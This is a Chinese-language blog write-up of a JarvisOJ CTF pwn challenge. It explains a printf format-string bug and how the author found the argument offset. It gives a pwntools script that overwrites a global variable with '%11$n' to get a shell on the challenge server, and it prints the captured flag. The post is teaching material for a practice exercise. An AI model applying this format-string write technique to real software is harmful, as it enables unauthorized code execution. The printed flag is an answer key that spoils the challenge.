avatar

CTF-JarvisOJ-Pwn-[61dctf]fm

文件下载fm

导入IDA,查看伪代码

发现需要修改x的值就可以拿到shell,且发现printf(&buf)存在漏洞

且x的地址为0x0804A02C

这里需要补充一个额外知识,printf(x_address+"%c$n")可以修改[x_address]的值为x_address的字符长度

x_address在32位程序中当然是4个字节的,所以我们需要找到偏移c是多少。

可使用printf(x_address+"%p%p%p%p%p%p%p%p%p%p%p%p%p"),%p的次数按照具体实际定,只需要找到偏移量就可以了

这道题本身就是很碰巧的,x_address恰好是四字节刚好符合x==4的条件,如果是其他数值的话,还需要另外考虑了

发现偏移,可以根据0x和nil的数量判断偏移位置,在此偏移为11

所以我们只需要写入printf(x_address+"%11$n")便可以拿到shell

1
2
3
4
5
6
from pwn import *
sh = remote("pwn2.jarvisoj.com",9895)
#sh = process("./fm")
payload = p32(0x0804A02C)+'%11$n'
sh.send(payload)
sh.interactive()

运行结果

拿到flag

CTF{ba13fcc2ce152bd3cc0fbba6a22d46b6}

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2018/12/12/CTF-JarvisOJ-Pwn-[61dctf]fm/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论